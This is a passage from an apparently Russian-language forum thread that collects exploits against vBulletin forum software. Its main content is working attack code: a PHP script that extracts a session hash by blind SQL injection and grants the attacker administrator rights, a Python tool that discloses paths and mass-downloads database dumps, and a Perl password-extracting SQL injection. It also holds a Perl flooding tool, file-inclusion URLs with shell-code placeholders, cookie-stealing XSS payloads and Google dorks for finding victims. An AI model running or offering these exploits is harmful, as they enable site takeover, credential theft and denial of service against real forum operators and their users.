    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: en\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    sendpacketii($packet);
              if (
    eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
              if (
    eregi("join date",$html)) {$cpsess_hash.=chr($i);echo chr($i); sleep(1); break;}
            }
            if (
    $i==255) {
                die(
    "\nExploit failed...");
            }
        }
    $j++;
    }
    echo 
    "\n";

    $packet ="GET ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; bbuserid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    $temp=explode("adminhash\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $adminhash=$temp2[0];
    echo 
    "adminhash ->".$adminhash."\n";
    if (
    $adminhash<>"") {echo "\ndone! you are in... updating ".$user." rights";}
    else {die(
    "\nexploit failed...");}

    //join to the Administrator group
    $my_email="suntzu@suntzu.com";
    $data ="do=update";
    $data.="&adminhash=$adminhash";
    $data.="&quicklinks=user.php%3Fdo%3Deditaccess%26u%3D".$my_uid;
    $data.="&user%5Busername%5D=$user";
    $data.="&password=";
    $data.="&user%5Bemail%5D=$my_email";
    $data.="&user%5Blanguageid%5D=0";
    $data.="&user%5Busertitle%5D=Admin";
    $data.="&user%5Bcustomtitle%5D=0";
    $data.="&user%5Bhomepage%5D=";
    $data.="&user%5Bbirthday%5D%5Bmonth%5D=0";
    $data.="&user%5Bbirthday%5D%5Bday%5D=";
    $data.="&user%5Bbirthday%5D%5Byear%5D=";
    $data.="&user%5Bshowbirthday%5D=0";
    $data.="&user%5Bsignature%5D=";
    $data.="&user%5Bicq%5D=";
    $data.="&user%5Baim%5D=";
    $data.="&user%5Byahoo%5D=";
    $data.="&user%5Bmsn%5D=";
    $data.="&user%5Bskype%5D=";
    $data.="&options%5Bcoppauser%5D=0";
    $data.="&user%5Bparentemail%5D=$my_email";
    $data.="&user%5Breferrerid%5D=";
    $data.="&user%5Bipaddress%5D=";
    $data.="&user%5Bposts%5D=0";
    $data.="&userfield%5Bfield1%5D=";
    $data.="&userfield%5Bfield2%5D=";
    $data.="&userfield%5Bfield3%5D=";
    $data.="&userfield%5Bfield4%5D=";
    $data.="&user%5Busergroupid%5D=6";//primary usergroup, 6=Administrators
    $data.="&user%5Bdisplaygroupid%5D=-1";
    $data.="&user%5Bmembergroupids%5D%5B%5D=5";//secondary usergroup, 5=Super Moderators
    $data.="&options%5Bshowreputation%5D=1";
    $data.="&user%5Breputation%5D=10";
    $data.="&user%5Bwarnings%5D=0";
    $data.="&user%5Binfractions%5D=0";
    $data.="&user%5Bipoints%5D=0";
    $data.="&options%5Badminemail%5D=1";
    $data.="&options%5Bshowemail%5D=0";
    $data.="&options%5Binvisible%5D=0";
    $data.="&options%5Bshowvcard%5D=0";
    $data.="&options%5Breceivepm%5D=1";
    $data.="&options%5Breceivepmbuddies%5D=0";
    $data.="&options%5Bemailonpm%5D=0";
    $data.="&user%5Bpmpopup%5D=0";
    $data.="&options%5Bshowsignatures%5D=1";
    $data.="&options%5Bshowavatars%5D=1";
    $data.="&options%5Bshowimages%5D=1";
    $data.="&user%5Bautosubscribe%5D=-1";
    $data.="&user%5Bthreadedmode%5D=0";
    $data.="&user%5Bshowvbcode%5D=1";
    $data.="&user%5Bstyleid%5D=0";
    $data.="&adminoptions%5Badminavatar%5D=0";
    $data.="&adminoptions%5Badminprofilepic%5D=0";
    $data.="&user%5Btimezoneoffset%5D=0";
    $data.="&options%5Bdstauto%5D=1";
    $data.="&options%5Bdstonoff%5D=0";
    $data.="&user%5Bdaysprune%5D=-1";
    $data.="&user%5Bjoindate%5D%5Bmonth%5D=2";
    $data.="&user%5Bjoindate%5D%5Bday%5D=26";
    $data.="&user%5Bjoindate%5D%5Byear%5D=2007";
    $data.="&user%5Bjoindate%5D%5Bhour%5D=14";
    $data.="&user%5Bjoindate%5D%5Bminute%5D=39";
    $data.="&user%5Blastactivity%5D%5Bmonth%5D=2";
    $data.="&user%5Blastactivity%5D%5Bday%5D=26";
    $data.="&user%5Blastactivity%5D%5Byear%5D=2007";
    $data.="&user%5Blastactivity%5D%5Bhour%5D=14";
    $data.="&user%5Blastactivity%5D%5Bminute%5D=58";
    $data.="&user%5Blastpost%5D%5Bmonth%5D=0";
    $data.="&user%5Blastpost%5D%5Bday%5D=";
    $data.="&user%5Blastpost%5D%5Byear%5D=";
    $data.="&user%5Blastpost%5D%5Bhour%5D=";
    $data.="&user%5Blastpost%5D%5Bminute%5D=";
    $data.="&userid=".$mu_uid;
    $data.="&ousergroupid=";
    $data.="&odisplaygroupid=0";
    $data.="&userfield%5Bfield1_set%5D=1";
    $data.="&userfield%5Bfield2_set%5D=1";
    $data.="&userfield%5Bfield3_set%5D=1";
    $data.="&userfield%5Bfield4_set%5D=1";
    $packet ="POST ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    sleep(1);

    //now give full rights to the new Administrator
    $data ="do=update";
    $data.="&adminhash=".$adminhash;
    $data.="&adminpermissions%5Bcanadminsettings%5D=1";
    $data.="&adminpermissions%5Bcanadminstyles%5D=1";
    $data.="&adminpermissions%5Bcanadminlanguages%5D=1";
    $data.="&adminpermissions%5Bcanadminforums%5D=1";
    $data.="&adminpermissions%5Bcanadminthreads%5D=1";
    $data.="&adminpermissions%5Bcanadmincalendars%5D=1";
    $data.="&adminpermissions%5Bcanadminusers%5D=1";
    $data.="&adminpermissions%5Bcanadminpermissions%5D=1";
    $data.="&adminpermissions%5Bcanadminfaq%5D=1";
    $data.="&adminpermissions%5Bcanadminimages%5D=1";
    $data.="&adminpermissions%5Bcanadminbbcodes%5D=1";
    $data.="&adminpermissions%5Bcanadmincron%5D=1";
    $data.="&adminpermissions%5Bcanadminmaintain%5D=1";
    $data.="&adminpermissions%5Bcanadminplugins%5D=1";
    $data.="&cssprefs=";
    $data.="&dismissednews=";
    $data.="&userid=".$my_uid;
    $data.="&oldpermissions=98300";
    $data.="&adminpermissions%5Bcanadminupgrade%5D=0";
    $packet ="POST ".$p."admincp/adminpermissions.php?do=update HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    echo 
    "\nnow go to http://".$host.$path."admincp/index.php and login to the control panel...";
    ?>

     
    6 дек 2008
  4. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin and IPB Full Disclosure expl0it (validator.php)

    Код:
    #! /usr/bin/env python3.1 
    # 
    ################################################################ 
    #                ____        _ _      _   _ (validator.php)    # 
    #               |  _ \      | | |    | | (_)                   # 
    #         __   _| |_) |_   _| | | ___| |_ _ _ __               # 
    #         \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              # 
    #          \ V /| |_) | |_| | | |  __/ |_| | | | |             # 
    #           \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             # 
    #                                   @expl0it...                # 
    ################################################################ 
    #       [ vBulletin Files / Directories Full Disclosure ]      # 
    #    [ Vuln discovered by TinKode / xpl0it written by cmiN ]   # 
    #           [ Greetz: insecurity.ro, darkc0de.com ]            # 
    ################################################################ 
    #                                                              # 
    #                  Special thanks for: cmiN                    # 
    #                  www.TinKode.BayWords.com                    # 
    ################################################################ 
     
     
    import os, sys, urllib.request, urllib.parse, threading 
     
     
    def main(): 
        logo = """ 
    \t |---------------------------------------------------------------| 
    \t |                 ____        _ _      _   _     (TM)           | 
    \t |                |  _ \      | | |    | | (_)                   | 
    \t |          __   _| |_) |_   _| | | ___| |_ _ _ __               | 
    \t |          \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              | 
    \t |           \ V /| |_) | |_| | | |  __/ |_| | | | |             | 
    \t |            \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             | 
    \t |                                                               | 
    \t |               vBulletin Full Disclosure expl0it               | 
    \t |                      Written by cmiN                          | 
    \t |              Vulnerability discovered by TinKode              | 
    \t |                                                               | 
    \t |              Dork: intext:"Powered by vBulletin"              | 
    \t |          Visit: www.insecurity.ro & www.darkc0de.com          | 
    \t |---------------------------------------------------------------| 
    """ 
        usage = """ 
             |---------------------------------------------------------------| 
             |Usage:  vbfd.py scan http://www.site.com/vB_folder             | 
             |        vbfd.py download *.sql -> all                          | 
             |        vbfd.py download name.jpg -> one                       | 
             |---------------------------------------------------------------|""" 
        if sys.platform in ("linux", "linux2"): 
            clearing = "clear" 
        else: 
            clearing = "cls" 
        os.system(clearing) 
        print(logo) 
        args = sys.argv 
        if len(args) == 3: 
            try: 
                print("Please wait...") 
                if args[1] == "scan": 
                    extract_parse_save(args[2].strip("/")) 
                elif args[1] == "download": 
                    download_data(args[2]) 
            except Exception as message: 
                print("An error occurred: {}".format(message)) 
            except: 
                print("Unknown error.") 
            else: 
                print("Ready!") 
        else: 
            print(usage) 
        input() 
     
     
    def extract_parse_save(url): 
        print("[+]Extracting content...") 
        hurl = url + "/validator.php" 
        with urllib.request.urlopen(hurl) as usock: 
            source = usock.read().decode() 
        print("[+]Finding token...") 
        word = "validate('" 
        source = source[source.index(word) + len(word):] 
        value = source[:source.index("'")] 
        print("[+]Obtaining paths...") 
        hurl = url + "/validator.php?op={}".format(value) 
        with urllib.request.urlopen(hurl) as usock: 
            lastk, lastv = None, None 
            dictionary = dict() 
            for line in usock: 
                line = line.decode() 
                index = line.find("") 
                if index != -1: 
                    lastk = line[index + 4:line.index("")].strip(" ") 
                index = line.find("") 
                if index != -1: 
                    lastv = line[index + 8:line.index("")].strip(" ") 
                if lastk != None and lastv != None: 
                    index = lastk.rfind(".") 
                    if index in (-1, 0): 
                        lastk = "[other] {}".format(lastk) 
                    else: 
                        lastk = "[{}] {}".format(lastk[index + 1:], lastk) 
                    dictionary[lastk] = lastv 
                    lastk, lastv = None, None 
        print("[+]Organizing and saving paths...") 
        with open("vBlogs.txt", "w") as fout: 
            fout.write(url + "\n") 
            keys = sorted(dictionary.keys()) 
            for key in keys: 
                fout.write("{} ({})\n".format(key, dictionary[key])) 
     
     
    def download_data(files): 
        print("[+]Searching and downloading files...") 
        mthreads = 50 
        with open("vBlogs.txt", "r") as fin: 
            url = fin.readline().strip("\n") 
            if files.find("*") == -1: 
                hurl = url + "/" + files.strip("/") 
                Download(hurl).start() 
            else: 
                ext = files[files.rindex(".") + 1:] 
                for line in fin: 
                    pieces = line.strip("\n").split(" ") 
                    if pieces[0].count(ext) == 1: 
                        upath = pieces[1] 
                        hurl = url + "/" + upath.strip("/") 
                        while threading.active_count() > mthreads: 
                            pass 
                        Download(hurl).start() 
        while threading.active_count() > 1: 
            pass 
     
     
    class Download(threading.Thread): 
     
        def __init__(self, url): 
            threading.Thread.__init__(self) 
            self.url = url 
     
        def run(self): 
            try: 
                with urllib.request.urlopen(self.url) as usock: 
                    data = usock.read() 
                    uparser = urllib.parse.urlparse(usock.geturl()) 
                    pieces = uparser.path.split("/") 
                    fname = pieces[len(pieces) - 1] 
                    with open(fname, "wb") as fout: 
                        fout.write(data) 
            except: 
                pass 
     
     
    if __name__ == "__main__": 
        main()
    Для запуска скрипта требуется третий питон (сучка=\ )
    Раскрывает пути булки через вилидатор.пшп. Может сливать дампы, если таковые имеются на сервере.
    В принципе не особо полезная штуковина, но может кому и сгодится. Автор указан в скрипте.
     
    6 мар 2010
    1 человеку нравится это.
  5. Nosaer
    Nosaer Модератор
    Симпатии:
    15
    vBulletin версии до 4.0.2 Patch Level 2

    vBulletin версии до 4.0.2 Patch Level 2
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "query" в сценарии search.php, когда параметр "search_type" равен "1".
    Код:
    www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script>
    www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script>
    Источник
     
    24 мар 2010
  6. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin™ Version 4.0.2 (misc.php)Remote SQL Injection Exploit

    Код:
    # Title: vBulletin™ Version 4.0.2 (misc.php)Remote SQL Injection Exploit 
    # EDB-ID: 11961 
    # CVE-ID: () 
    # OSVDB-ID: () 
    # Author: EL-KAHINA 
    # Published: 2010-03-30 
    # Verified: no 
    # Download Exploit Code
    # Download N/A
    
    view source
    
    print
    ?#========================================================================================                   
    #| # Title    : vBulletin™ Version 4.0.2 (misc.php)Remote SQL Injection Exploit       
    #| # Author   : EL-KAHINA                                                                
    #| # email    : indoushka@hotmail.com                                                    
    #| # Home     : www.h4kz.com                                                                      
    #| # Dork     : Powered by vBulletin™ Version 4.0.2                                                                                                               
    #| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)        
    #| # Bug      : XSS                                                                      
    #======================      Exploit By indoushka       ================================= 
    #!/usr/bin/perl  
       
    use IO::Socket;  
       
       
    print q{  
    ####################################################################### 
    #    vBulletin™ Version 4.0.2 Remote SQL Injection Exploit            # 
    #                      By EL-KAHINA                                   # 
    #          Dork: Powered by vBulletin™ Version 4.0.2                  #             
    #######################################################################  
    };  
       
    if (!$ARGV[2]) {  
       
    print q{  
        Usage: perl  VB4.0.2.pl host /directory/ victim_userid  
       
           perl  VB4.0.2.pl www.vb.com /forum/ 1  
       
       
    };  
       
    }  
       
       
    $server = $ARGV[0];  
    $dir    = $ARGV[1];  
    $user   = $ARGV[2];  
    $myuser = $ARGV[3];  
    $mypass = $ARGV[4];  
    $myid   = $ARGV[5];  
       
    print "------------------------------------------------------------------------------------------------\r\n";  
    print "[>] SERVER: $server\r\n";  
    print "[>]    DIR: $dir\r\n";  
    print "[>] USERID: $user\r\n";  
    print "------------------------------------------------------------------------------------------------\r\n\r\n";  
       
    $server =~ s/(http:\/\/)//eg;  
       
    $path  = $dir;  
    $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;  
       
       
    print "[~] PREPARE TO CONNECT...\r\n";  
       
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";  
       
    print "[+] CONNECTED\r\n";  
    print "[~] SENDING QUERY...\r\n";  
    print $socket "GET $path HTTP/1.1\r\n";  
    print $socket "Host: $server\r\n";  
    print $socket "Accept: */*\r\n";  
    print $socket "Connection: close\r\n\r\n";  
    print "[+] DONE!\r\n\r\n";  
       
       
       
    print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";  
    while ($answer = <$socket>)  
    {  
       
     if ($answer =~/(\w{32})/)  
    {  
       
      if ($1 ne 0) {  
       print "Password is: ".$1."\r\n";  
    print "--------------------------------------------------------------------------------------\r\n";  
       
          }  
    exit();  
    }  
       
    }  
    print "------------------------------------------------------------------------------------------------\r\n"; 
      
    ================================   Dz-Ghost Team   ======================================================== 
    Exploit-db Team (loneferret+Exploits+dookie2000ca) 
    V!VA FIDAL 
    ------------------------------------------------------------------------------------------------------------
     
    30 мар 2010
    2 пользователям это понравилось.
  7. EXploit
    EXploit Продвинутый
    Симпатии:
    50
    Vbulletin Version 4.0.2 Remote File Include Vulnerability

    Код:
    ######################################################################
    #
    # Vbulletin Version 4.0.2 Remote File Include !
    #
    # Author : D.0.M TEAM
    #
    # Founded By : S3Ri0uS !
    #
    # We Are : Inj3ct0r.com Exploit and Vulnerability Database.
    #
    # Public Site : WwW.Anti-Secure.CoM !
    #
    # Security Site : WwW.D0M-Security.NeT !
    #
    # Contact 1 : S3Ri0uS.Blackhat@Gmail.CoM !
    #
    # Contact 2 : S3Ri0uS_Blackhat@Yahoo.CoM !
    #
    # SpT : All Iranian Hackers !
    #
    ######################################################################
    #
    # Dork :
    #
    # inurl:"powered by vbulletin version 4.0.2"
    #
    # Exploit :
    #
    # http://www.site.com/path/includes/class_block.php?classfile=[shell code]
    #
    # http://www.site.com/path/vb/vb.php?filename=[shell code]
    #
    # http://www.site.com/path/packages/vbattach/attach.php?include_file=[shell code]
    #
    ######################################################################
    
    (c) httр://inj3сt0r.соm/​
     
    9 июн 2010
    1 человеку нравится это.
  8. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    246
    vBulletin® Version 3.8.2 Denial of Service Exploit


    PHP:
    #!usr/bin/perl
    #vBulletin® Version 3.8.2 Denial of Service Exploit
    #ea$y Laster
    ##################################################  ######################
    # Modules                                                              #
    ##################################################  ######################
    use IO::SOCKET;           # Object interface                           #
    ##################################################  ######################
    if (@ARGV<1){
    print
    "
    ##################################################  ######################
    ## _                     _     _                   _                  ##
    ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
    ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
    ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
    ##                                                                    ##
    ##################################################  ######################
    ##################################################  ######################
    ##                                ##                                  ##
    ##->vBulletin® Version 3.8.2<-    ##                                  ##
    ##                                ##                                  ##
    ##Gebe diese Daten an             ##                                  ##
    ##1.Ziel                          ##[*] www.Ziel.com                  ##
    ##2.Board                         ##[*] vbulletin                     ##
    ##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
    ##4.Zeit des vorganges            ##[*] 9999999999999999              ##
    ##5.Port                          ##[*] 80                            ##
    ##################################################  ######################
    \a"
    ;}
    $block "
    ##################################################  ######################"
    ;
    $fehler "Fehler!Fehler!Fehler!Fehler";
    $x =0;
         print
    "$block\n";
         print 
    q(Ziel->);
         
    chomp($ziel =<STDIN>);
         if (
    $ziel eq""){
         die 
    "$fehler\a\n";}
         print
    "$block\n";
           print
    "$block\n";
           print 
    q(Path->);
           
    chomp($path =<STDIN>);
           if (
    $path eq "") {
           die 
    "$fehler !\a\n";}
           print
    "$block\n";
              print
    "$block\n";
              print 
    "Verwundbarkeit\n";
              print
    "forumdisplay.php?f=\n";
              print
    "->n";
                
    chomp($vul =<STDIN>);
                if (
    $vul eq "") {
                die 
    "$fehler !\a\n";}
                print
    "$block\n";
                   print
    "$block\n";
                   print 
    q(Time->);
                   
    chomp($flood =<STDIN>);
                   if (
    $flood eq "") {
                   die 
    "$fehler !\a\n";}
                      print
    "$block\n";
                      print
    "$block\n";
                      print 
    q(Port->);
                      
    chomp($port =<STDIN>);
                      if (
    $port eq ""){
                      die 
    "$fehler \n";}
                      print
    "$block\n";
                         print 
    q(Send "start"->);
                         
    chomp($start =<STDIN>);
                         if (
    $start eq "") {
                         die 
    "$fehler\n";}
    print 
    "$block\a\n";
    print 
    "[+]Konntroliere Daten \n";
    print 
    "[*]Kontroliere Ziel   : $ziel\n";
    print 
    "[*]Kontroliere Board  : $path\n";
    print 
    "[*]Kontroliere Port   : $port\n";
    print 
    "$block\n";
    if(
    $start == 1){
    while(
    $x != 0000){
    $x++;}
    }
    elsif ($start == start){
    while(
    $x != $flood)
    {
    $postit "$ziel"."$path"."$vul";
    $lrg length $postit;
    $sock = new IO::Socket::INET (
                                   
    PeerAddr => "$ziel",
                                   
    PeerPort => "$port",
                                   
    Proto => "tcp",
                                  );

    print 
    $sock "POST $path$vul HTTP/1.1\n";
    print 
    $sock "Host: $ziel\n";
    print 
    $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
    print 
    $sock "Referer: $ziel\n";
    print 
    $sock "Accept-Language: en-us\n";
    print 
    $sock "Content-Type: application/x-www-form-urlencoded\n";
    print 
    $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
    print 
    $sock "Content-Length: $lrg\n\n";
    print 
    $sock "$postit\n";
    close($sock);
    syswrite STDOUT"->BLACKOUT<-";
    $x++;
    }
    }else{
    die 
    "Fehler kann nicht zum Ziel verbinden $ziel !\n";
    Уязвимые пользовательские BB коды

    Уязвимые версии:
    3.8.4 PL2 (скорее всего, все версии)

    Описание:
    уязвимость позволяет злоумышленнику провести атаку используя html или JavaScript, если он будет следовать следующим условиям:
    - код злоумышленника доолжен быть внутри переменной доступного html-тега
    - апострофы или ничего следует использовать для инкапсуляции.

    Примеры:
    Example 1 [src]
    Код:
    <img src='{param}' style='border-width:5px;border-color:red;border-style:outset;' />
    Example 2 [href]
    Код:
    <a href={option} style=border-width:5px;border-color:red;border-style:outset;>{param}</a>
    Решение:
    В php файлах используйте htmlentities($var, ENT_QUOTES); или htmlspecialchars($var);
    Как альтернатива, запретить пользователям использовать апострофы в bb кодах.
     
    Последнее редактирование: 24 сен 2010
    24 сен 2010
  9. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin Version 3.8.4 File Include Vulnerability

    vBulletin Version 3.8.4 File Include Vulnerability

    [+] Код
    ##################################
    # Script: vBulletin Version 3.8.4 File Include Vulnerability

    #Language: $php$

    #Author : $EjRaM-HaCKeR$

    #My home : [ www.sec-center.com ]

    #Greetz to : [Dr.eXe ,moroccoHaCkEr, All My Friends
    # $ EgyptHaCkeR ]

    # mail : m2z@9.cn $ tsv@hotmail.com
    #################################

    ############# ===[ Exploits ]=== ###########
    # 1 - http//www.site.com/[path]/vbseo_sitemap/vbseo_sitemap_functions.php?=[LFI]
    # 2 - http//www.site.com/[path]/includes/functions.php?$classfile=[shell].txt?
    ########################
    [свернуть]



    [+] И еще одна LFI
    http//www.site.com/[path]/vbseo.php?vbseoembedd=1&vbseourl=[LFI]
    [свернуть]
     
    Последнее редактирование: 10 ноя 2010
    10 ноя 2010
  10. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability

    vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability

    Подробней: http://www.exploit-db.com/exploits/14833/

    [+] посмотреть код
    =========================================================
    vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability
    =========================================================

    01010101010101010101010101010101010101010101010101 0101010
    0 0
    1 Iranian Datacoders Security Team 2010 1
    0 0
    01010101010101010101010101010101010101010101010101 0101010


    # Exploit Title: vBulletin 3.8.4 & 3.8.5 Around Registration Vulnerability
    # Date: 29/08/2010
    # Author: Immortal Boy
    # Software Link: http://www.vbulletin.org
    # Version: 3.8.4 & 3.8.5
    # Google dork 1 : powered by vBulletin 3.8.4
    # Google dork 2 : powered by vBulletin 3.8.5
    # Platform / Tested on: Multiple
    # Category: webapplications
    # Code : N/A

    # BUG : ################################################## #######################

    1 > Go to Http://[localhost]/path/register.php

    2 > Assume that forum admin user name is ADMIN

    3 > Type this at User Name ===> ADMIN�

    4 > � is an ASCII Code

    5 > And complete the other parameters

    6 > Then click on Complete Registrarion

    7 > Now you see that your user name like admin user name

    After this time the private messages to the user (ADMIN) to sending see for you is sending .


    # Patch : ################################################## #####################

    1 > Go to AdminCP

    2 > Click on vBulletin Options and choose vBulletin Options

    3 > Choose Censorship Options

    4 > type &# in Censored Words section

    5 > Then click on Save

    ################################################## ###########################

    Our Website : http://www.datacoders.ir

    Special Thanks to : H-SK33PY , NEO , Sp|R|T , BigB4NG , 3r1ck , Dr.mute ,

    hosinn , NIK , uones , mohammad_ir & all iranian datacoders members

    ################################################## ###########################
    [свернуть]
     
    10 ноя 2010
  11. Nosaer
    Nosaer Модератор
    Симпатии:
    15
    17 ноя 2010
    2 пользователям это понравилось.
  12. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    246
    vBulletin adminCP 3.8.4 cross site scripting

    Код:
    ###########################################################################
    #
    
    .::vBulletin adminCP Cross-Site Scripting ::.
    
    # Exploit Title: vBulletin adminCP Cross-Site Scripting
    # Author: Ashiyane Digital Security Members (Cair3x)
    # Software Link: http://www.vbulletin.com/
    # Version: 3.8.4 and all Version
    # Tested on: vBulletin 3.8.4
    # CVE :
    # Code :
    
    
    -::Forum Manager => Add New Forum ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/forum.php?do=add )
    
    Add a new title . use the following code as title name :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    -::Calendar Manager => Add New Calendar ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/admincalendar.php?do=add )
    
    Add a new title . use the following code as title name :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    -::Usergroup Manager => Add New Usergroup ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/usergroup.php?do=add )
    
    Add a new title . use the following code as title name :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    -::User Rank Manager => Rank Type ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/ranks.php?do=add )
    
    use the following code as (OR you may enter text HTML is allowed) Text .
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    -::BB Code Manager => Add New BB Code ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/bbcode.php?do=add )
    
    Complete All Required Fields And Enter Javascript Code in Title :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    -::Scheduled Task Manager => Add New Scheduled Task ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/cronadmin.php?do=edit )
    
    Complete All Required Fields And Enter Javascript Code in Title :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    
    -::FAQ Manager => Add New FAQ Item ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/faq.php?do=add )
    
    Add a new title . use the following code as title name :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    
    
    -::Style Manager => Add New Style ::-
    
    Exploit :
    
    Go To ( http://127.0.0.1/vb/admincp/template.php?do=addstyle )
    
    Add a new title . use the following code as title name :
    
    .::<Script>Alert('Ashiyane')</Script> ::. Or Any Other Xss Code
    .
    
    All of the best
    
    * Cair3x From Ashiyane Digital Security Members :
    (WwW.Ashiyane.org/forums/)
    vBulletin – A Journey Into 0day Exploitation

    http://www.exploit-db.com/vbulletin-a-journey-into-0day-exploitation/
     
    28 янв 2011
  13. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    246
    vBulletin 3.8.x SQL Injection Vulnerability

    Код:
    #!/usr/bin/env perl
    use LWP::UserAgent;
    sub banner{
    print "###################################\n";
    print "############ DSecurity ############\n";
    print "###################################\n";
    print "# Email:dsecurity.vn[at]gmail.com #\n";
    print "###################################\n";
    }
    if(@ARGV<5){
        print "Usage: $0 address username password number_user sleeptime\n";
        print "Example: $0 http://localhost/vbb test test 10 10\n";
        exit();
    }
    $ua=LWP::UserAgent->new();
    $ua->agent("DSecurity");
